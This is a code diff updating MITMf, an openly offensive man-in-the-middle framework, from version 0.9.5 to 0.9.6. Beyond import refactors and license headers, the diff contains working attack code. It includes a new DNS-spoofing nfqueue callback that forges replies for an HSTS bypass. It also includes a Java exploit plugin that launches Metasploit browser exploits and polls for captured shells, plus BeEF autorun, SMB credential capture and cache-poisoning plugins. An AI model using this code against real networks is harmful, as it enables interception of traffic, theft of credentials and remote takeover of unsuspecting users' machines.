from twisted.internet import reactor
|
from twisted.internet import reactor
|
||||||
|
from core.sslstrip.CookieCleaner import CookieCleaner
|
||||||
from libs.sslstrip.CookieCleaner import CookieCleaner
|
from core.sergioproxy.ProxyPlugins import ProxyPlugins
|
||||||
from libs.sergioproxy.ProxyPlugins import ProxyPlugins
|
from core.utils import Banners
|
||||||
from libs.banners import get_banner
|
from configobj import ConfigObj
|
||||||
|
|
||||||
import logging
|
|
||||||
|
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import get_if_addr, get_if_hwaddr
|
from scapy.all import get_if_addr, get_if_hwaddr
|
||||||
|
|
||||||
from configobj import ConfigObj
|
|
||||||
|
|
||||||
from plugins import *
|
from plugins import *
|
||||||
plugin_classes = plugin.Plugin.__subclasses__()
|
plugin_classes = plugin.Plugin.__subclasses__()
|
||||||
|
|
||||||
import sys
|
|
||||||
import argparse
|
|
||||||
import os
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
import netfilterqueue
|
import netfilterqueue
|
||||||
if netfilterqueue.VERSION[1] is not 6:
|
if netfilterqueue.VERSION[1] is not 6:
|
||||||
|
@ -52,12 +49,11 @@ try:
|
||||||
except ImportError:
|
except ImportError:
|
||||||
print "[-] user_agents library missing! User-Agent parsing will be disabled!"
|
print "[-] user_agents library missing! User-Agent parsing will be disabled!"
|
||||||
|
|
||||||
mitmf_version = "0.9.5"
|
mitmf_version = "0.9.6"
|
||||||
sslstrip_version = "0.9"
|
sslstrip_version = "0.9"
|
||||||
sergio_version = "0.2.1"
|
sergio_version = "0.2.1"
|
||||||
|
|
||||||
banner = get_banner()
|
Banners().printBanner
|
||||||
print banner
|
|
||||||
|
|
||||||
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
|
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
|
||||||
#add MITMf options
|
#add MITMf options
|
||||||
|
@ -66,6 +62,9 @@ mgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="
|
||||||
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
|
mgroup.add_argument("-i", "--interface", required=True, type=str, metavar="interface" ,help="Interface to listen on")
|
||||||
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use")
|
mgroup.add_argument("-c", "--config-file", dest='configfile', type=str, default="./config/mitmf.cfg", metavar='configfile', help="Specify config file to use")
|
||||||
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies')
|
mgroup.add_argument('-d', '--disable-proxy', dest='disproxy', action='store_true', default=False, help='Only run plugins, disable all proxies')
|
||||||
|
#added by alexander.georgiev@daloo.de
|
||||||
|
mgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
||||||
|
|
||||||
#add sslstrip options
|
#add sslstrip options
|
||||||
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
|
sgroup = parser.add_argument_group("SSLstrip", "Options for SSLstrip library")
|
||||||
#sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).")
|
#sgroup.add_argument("-w", "--write", type=argparse.FileType('w'), metavar="filename", default=sys.stdout, help="Specify file to log to (stdout by default).")
|
||||||
|
@ -177,8 +176,8 @@ if args.disproxy:
|
||||||
ProxyPlugins.getInstance().setPlugins(load)
|
ProxyPlugins.getInstance().setPlugins(load)
|
||||||
else:
|
else:
|
||||||
|
|
||||||
from libs.sslstrip.StrippingProxy import StrippingProxy
|
from core.sslstrip.StrippingProxy import StrippingProxy
|
||||||
from libs.sslstrip.URLMonitor import URLMonitor
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
|
|
||||||
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
|
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
|
||||||
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
||||||
|
|
|
@ -1,14 +1,35 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
|
# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
|
||||||
from datetime import date
|
|
||||||
from libs.sslstrip.URLMonitor import URLMonitor
|
|
||||||
import logging
|
import logging
|
||||||
import re
|
import re
|
||||||
import os.path
|
import os.path
|
||||||
import time
|
import time
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from datetime import date
|
||||||
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
|
|
||||||
class AppCachePlugin(Plugin):
|
class AppCachePlugin(Plugin):
|
||||||
name = "App Cache Poison"
|
name = "App Cache Poison"
|
||||||
optname = "appoison"
|
optname = "appoison"
|
||||||
|
|
|
@ -1,11 +1,32 @@
|
||||||
from plugins.plugin import Plugin
|
#!/usr/bin/env python2.7
|
||||||
from plugins.Inject import Inject
|
|
||||||
from time import sleep
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import sys
|
import sys
|
||||||
import json
|
import json
|
||||||
import threading
|
import threading
|
||||||
import libs.beefapi as beefapi
|
import core.beefapi as beefapi
|
||||||
|
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from plugins.Inject import Inject
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
|
||||||
requests_log.setLevel(logging.WARNING)
|
requests_log.setLevel(logging.WARNING)
|
||||||
|
@ -85,7 +106,7 @@ class BeefAutorun(Inject, Plugin):
|
||||||
|
|
||||||
if len(self.All_modules) > 0:
|
if len(self.All_modules) > 0:
|
||||||
logging.info("%s >> sending generic modules" % session_ip)
|
logging.info("%s >> sending generic modules" % session_ip)
|
||||||
for module, options in self.All_modules.items():
|
for module, options in self.All_modules.iteritems():
|
||||||
mod_id = beef.module_id(module)
|
mod_id = beef.module_id(module)
|
||||||
resp = beef.module_run(session, mod_id, json.loads(options))
|
resp = beef.module_run(session, mod_id, json.loads(options))
|
||||||
if resp["success"] == 'true':
|
if resp["success"] == 'true':
|
||||||
|
@ -103,7 +124,7 @@ class BeefAutorun(Inject, Plugin):
|
||||||
if browser == hook_browser:
|
if browser == hook_browser:
|
||||||
modules = self.Targeted_modules[os][browser]
|
modules = self.Targeted_modules[os][browser]
|
||||||
if len(modules) > 0:
|
if len(modules) > 0:
|
||||||
for module, options in modules.items():
|
for module, options in modules.iteritems():
|
||||||
mod_id = beef.module_id(module)
|
mod_id = beef.module_id(module)
|
||||||
resp = beef.module_run(session, mod_id, json.loads(options))
|
resp = beef.module_run(session, mod_id, json.loads(options))
|
||||||
if resp["success"] == 'true':
|
if resp["success"] == 'true':
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
from pprint import pformat
|
from pprint import pformat
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
"""
|
"""
|
||||||
BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something'
|
||||||
|
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import get_if_addr
|
from scapy.all import get_if_addr
|
||||||
|
|
|
@ -1,12 +1,34 @@
|
||||||
from plugins.plugin import Plugin
|
#!/usr/bin/env python2.7
|
||||||
from plugins.BrowserProfiler import BrowserProfiler
|
|
||||||
from time import sleep
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
import libs.msfrpc as msfrpc
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
|
import core.msfrpc as msfrpc
|
||||||
import string
|
import string
|
||||||
import random
|
import random
|
||||||
import threading
|
import threading
|
||||||
import sys
|
import sys
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from plugins.BrowserProfiler import BrowserProfiler
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import get_if_addr
|
from scapy.all import get_if_addr
|
||||||
|
|
||||||
|
@ -67,7 +89,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
|
client_vstring = java_version[:-len(java_version.split('.')[3])-1]
|
||||||
client_uversion = int(java_version.split('.')[3])
|
client_uversion = int(java_version.split('.')[3])
|
||||||
|
|
||||||
for ver in self.javacfg['Multi'].items():
|
for ver in self.javacfg['Multi'].iteritems():
|
||||||
if type(ver[1]) is list:
|
if type(ver[1]) is list:
|
||||||
for list_vers in ver[1]:
|
for list_vers in ver[1]:
|
||||||
|
|
||||||
|
@ -108,7 +130,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
break
|
break
|
||||||
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
|
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
|
||||||
if len(shell) > 0:
|
if len(shell) > 0:
|
||||||
for k, v in shell.items():
|
for k, v in shell.iteritems():
|
||||||
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
|
||||||
logging.info("%s >> Got shell!" % client_ip)
|
logging.info("%s >> Got shell!" % client_ip)
|
||||||
self.sploited_ips.append(client_ip) #target successfuly exploited :)
|
self.sploited_ips.append(client_ip) #target successfuly exploited :)
|
||||||
|
@ -165,7 +187,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
#here we check to see if we already set up the exploit to avoid creating new jobs for no reason
|
||||||
jobs = msf.call('job.list') #get running jobs
|
jobs = msf.call('job.list') #get running jobs
|
||||||
if len(jobs) > 0:
|
if len(jobs) > 0:
|
||||||
for k, v in jobs.items():
|
for k, v in jobs.iteritems():
|
||||||
info = msf.call('job.info', [k])
|
info = msf.call('job.info', [k])
|
||||||
if exploit in info['name']:
|
if exploit in info['name']:
|
||||||
logging.info('%s >> %s already started' % (vic_ip, exploit))
|
logging.info('%s >> %s already started' % (vic_ip, exploit))
|
||||||
|
@ -196,6 +218,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
logging.info("%s >> falling back to the signed applet attack" % vic_ip)
|
logging.info("%s >> falling back to the signed applet attack" % vic_ip)
|
||||||
|
|
||||||
rand_url = self.rand_url()
|
rand_url = self.rand_url()
|
||||||
|
rand_port = random.randint(1000, 65535)
|
||||||
|
|
||||||
cmd = "use exploit/multi/browser/java_signed_applet\n"
|
cmd = "use exploit/multi/browser/java_signed_applet\n"
|
||||||
cmd += "set SRVPORT %s\n" % self.msfport
|
cmd += "set SRVPORT %s\n" % self.msfport
|
||||||
|
@ -217,7 +240,7 @@ class JavaPwn(BrowserProfiler, Plugin):
|
||||||
jobs = msf.call('job.list')
|
jobs = msf.call('job.list')
|
||||||
if len(jobs) > 0:
|
if len(jobs) > 0:
|
||||||
print '\n[*] Stopping all running metasploit jobs'
|
print '\n[*] Stopping all running metasploit jobs'
|
||||||
for k, v in jobs.items():
|
for k, v in jobs.iteritems():
|
||||||
msf.call('job.stop', [k])
|
msf.call('job.stop', [k])
|
||||||
|
|
||||||
consoles = msf.call('console.list')['consoles']
|
consoles = msf.call('console.list')['consoles']
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
import logging
|
import logging
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
"""
|
"""
|
||||||
Plugin by @rubenthijssen
|
Plugin by @rubenthijssen
|
||||||
"""
|
"""
|
||||||
|
|
|
@ -1,11 +1,32 @@
|
||||||
from plugins.plugin import Plugin
|
#!/usr/bin/env python2.7
|
||||||
from libs.responder.Responder import start_responder
|
|
||||||
from libs.sslstrip.DnsCache import DnsCache
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
from twisted.internet import reactor
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
import os
|
import os
|
||||||
import threading
|
import threading
|
||||||
|
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from libs.responder.Responder import start_responder
|
||||||
|
from core.sslstrip.DnsCache import DnsCache
|
||||||
|
from twisted.internet import reactor
|
||||||
|
|
||||||
class Responder(Plugin):
|
class Responder(Plugin):
|
||||||
name = "Responder"
|
name = "Responder"
|
||||||
optname = "responder"
|
optname = "responder"
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from plugins.Inject import Inject
|
from plugins.Inject import Inject
|
||||||
import sys
|
import sys
|
||||||
|
@ -15,11 +35,12 @@ class SMBAuth(Inject, Plugin):
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
Inject.initialize(self, options)
|
Inject.initialize(self, options)
|
||||||
self.target_ip = options.host
|
self.target_ip = options.host
|
||||||
self.html_payload = self._get_data()
|
|
||||||
|
|
||||||
if not self.target_ip:
|
if not self.target_ip:
|
||||||
self.target_ip = options.ip_address
|
self.target_ip = options.ip_address
|
||||||
|
|
||||||
|
self.html_payload = self._get_data()
|
||||||
|
|
||||||
def add_options(self, options):
|
def add_options(self, options):
|
||||||
options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]")
|
options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]")
|
||||||
|
|
||||||
|
|
|
@ -1,23 +1,133 @@
|
||||||
from plugins.plugin import Plugin
|
#!/usr/bin/env python2.7
|
||||||
from libs.sslstrip.URLMonitor import URLMonitor
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
import sys
|
import sys
|
||||||
|
import dns.resolver
|
||||||
|
import logging
|
||||||
|
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
from core.utils import SystemConfig
|
||||||
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
|
from core.wrappers.nfqueue import Nfqueue
|
||||||
|
|
||||||
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
|
from scapy.all import *
|
||||||
|
|
||||||
class HSTSbypass(Plugin):
|
class HSTSbypass(Plugin):
|
||||||
name = 'SSLstrip+'
|
name = 'SSLstrip+'
|
||||||
optname = 'hsts'
|
optname = 'hsts'
|
||||||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||||
version = "0.2"
|
version = "0.3"
|
||||||
has_opts = False
|
has_opts = False
|
||||||
req_root = False
|
req_root = True
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
self.manualiptables = options.manualiptables
|
||||||
|
|
||||||
try:
|
try:
|
||||||
config = options.configfile['SSLstrip+']
|
config = options.configfile['SSLstrip+']
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
|
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
|
||||||
|
|
||||||
|
if not options.manualiptables:
|
||||||
|
SystemConfig.iptables.DNS(1)
|
||||||
|
|
||||||
|
self.dns = DNSmirror(1)
|
||||||
|
self.dns.hstscfg = config
|
||||||
|
self.dns.start()
|
||||||
|
|
||||||
print "| |_ SSLstrip+ by Leonardo Nve running"
|
print "| |_ SSLstrip+ by Leonardo Nve running"
|
||||||
|
|
||||||
URLMonitor.getInstance().setHstsBypass(config)
|
URLMonitor.getInstance().setHstsBypass(config)
|
||||||
|
|
||||||
|
def finish(self):
|
||||||
|
self.dns.stop()
|
||||||
|
|
||||||
|
if not self.manualiptables:
|
||||||
|
SystemConfig.iptables.Flush()
|
||||||
|
|
||||||
|
class DNSmirror(Nfqueue):
|
||||||
|
|
||||||
|
hstscfg = None
|
||||||
|
|
||||||
|
def callback(self, payload):
|
||||||
|
try:
|
||||||
|
#logging.debug(payload)
|
||||||
|
pkt = IP(payload.get_payload())
|
||||||
|
|
||||||
|
if not pkt.haslayer(DNSQR):
|
||||||
|
payload.accept()
|
||||||
|
|
||||||
|
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
||||||
|
for k,v in self.hstscfg.iteritems():
|
||||||
|
if v == pkt[DNSQR].qname[:-1]:
|
||||||
|
ip = self.resolve_domain(k)
|
||||||
|
if ip:
|
||||||
|
self.modify_dns(payload, pkt, ip)
|
||||||
|
return
|
||||||
|
|
||||||
|
if 'wwww' in pkt[DNSQR].qname:
|
||||||
|
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
||||||
|
if ip:
|
||||||
|
self.modify_dns(payload, pkt, ip)
|
||||||
|
return
|
||||||
|
|
||||||
|
if 'web' in pkt[DNSQR].qname:
|
||||||
|
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
||||||
|
if ip:
|
||||||
|
self.modify_dns(payload, pkt, ip)
|
||||||
|
return
|
||||||
|
|
||||||
|
payload.accept()
|
||||||
|
|
||||||
|
except Exception, e:
|
||||||
|
print "Exception occurred in nfqueue callback: " + str(e)
|
||||||
|
|
||||||
|
def modify_dns(self, payload, pkt, ip):
|
||||||
|
try:
|
||||||
|
mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||||
|
UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) /\
|
||||||
|
DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd)
|
||||||
|
|
||||||
|
mpkt[DNS].an = DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=ip[0]); del ip[0] #have to do this first to initialize the an field
|
||||||
|
for i in ip:
|
||||||
|
mpkt[DNS].an.add_payload(DNSRR(rrname=pkt[DNS].qd.qname, ttl=1800, rdata=i))
|
||||||
|
|
||||||
|
